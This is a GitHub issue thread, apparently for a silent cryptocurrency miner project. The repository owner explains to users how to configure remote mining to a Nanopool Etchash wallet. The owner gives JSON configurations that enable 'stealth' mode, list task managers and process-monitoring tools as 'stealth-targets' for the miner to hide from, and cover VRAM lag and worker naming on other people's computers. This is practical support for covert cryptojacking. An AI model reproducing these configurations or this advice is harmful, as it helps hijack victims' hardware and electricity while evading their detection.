Skip to content
This repository has been archived by the owner on Sep 12, 2023. It is now read-only.

Question about Nanopool #182

Closed
DIKOXB opened this issue Sep 4, 2021 · 11 comments
Closed

Question about Nanopool #182

DIKOXB opened this issue Sep 4, 2021 · 11 comments

Comments

@DIKOXB
Copy link

DIKOXB commented Sep 4, 2021

When I enter the wallet number in nanopool, it does not appear there, or do I need someone to mine for activation?

@UnamSanctam
Copy link
Owner

Yes at least one share needs to be mined (and their site has to update) for the wallet address to be registered.

@BenzoIsHere
Copy link

Sorry for writing here if it ain't all right but I thought I shouldn't open another issue topic for just a question.
In relation to the remote configuration that made it look like this:
{
"url": "stratum://0XWALLETADDRESS@etc-eu2.nanopool.org:19999",
"algo": "ethash",
"max-gpu": 40,
"idle-wait": 3,
"idle-gpu": 90,
"stealth": true,
"stealth-targets": "Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe"
}

Is this correct If I got {%RANDOM%} as a worker name set inside my miner or does the remote configuration work for every miner name? Can you tell me? Thanks a lot.

@BenzoIsHere
Copy link

If I'm correct there are more other coins using ,,ethash'' algo that also include ETC.

@UnamSanctam
Copy link
Owner

There are multiple coins that use the Ethash algorithm and then there is ETC which uses it's own Etchash algorithm, thus the correct configuration if you also want a random worker name in the 'Remote Configuration' would be as follows:

{
"url": "stratum://`0XWALLETADDRESS.{RANDOM}`@etc-eu2.nanopool.org:19999",
"algo": "etchash",
"max-gpu": 40,
"idle-wait": 3,
"idle-gpu": 90,
"stealth": true,
"stealth-targets": "Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe"
}

Please also note that it's {RANDOM} and not {%RANDOM%} since a few versions ago.

@BenzoIsHere
Copy link

Should it be {RANDOM} both in the miner creation GUI and in the remote config as well?

@UnamSanctam
Copy link
Owner

Yes.

@BenzoIsHere
Copy link

Won't having {RANDOM} in the remote config change the worker's name every sync? Or I got the idea wrong

@UnamSanctam
Copy link
Owner

Yes, which is why using {COMPUTERNAME} is more common, the connection specified in the 'Remote Configuration' will be the main connection and the connection specified in the builder will become the backup connection.

@BenzoIsHere
Copy link

All right, so {COMPUTERNAME} would be better in other terms. How about the stealth exclusion that I saw being written on some other issue topic, you were mentioning games in the stealth section, somehow I understood yesterday that the miner does automatically reduce usage anyway when the system does have any heavy load.

@UnamSanctam
Copy link
Owner

The miner will automatically use less GPU load when something else needs it but the most common contributor to lag is the VRAM that the miner (or rather the cryptocurrency) needs to use (lag will depend upon the GPUs total VRAM and how much the coin you're mining needs), which is why it's good to pause the miner while games are running and for that you can utilize the "Stealth Targets" option. Here is a list of some games #122 (scroll down to the latest posts for the most updated).

@BenzoIsHere
Copy link

BenzoIsHere commented Sep 7, 2021

All right, thanks for that. Appreciate it. My concern has been resolved :D

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants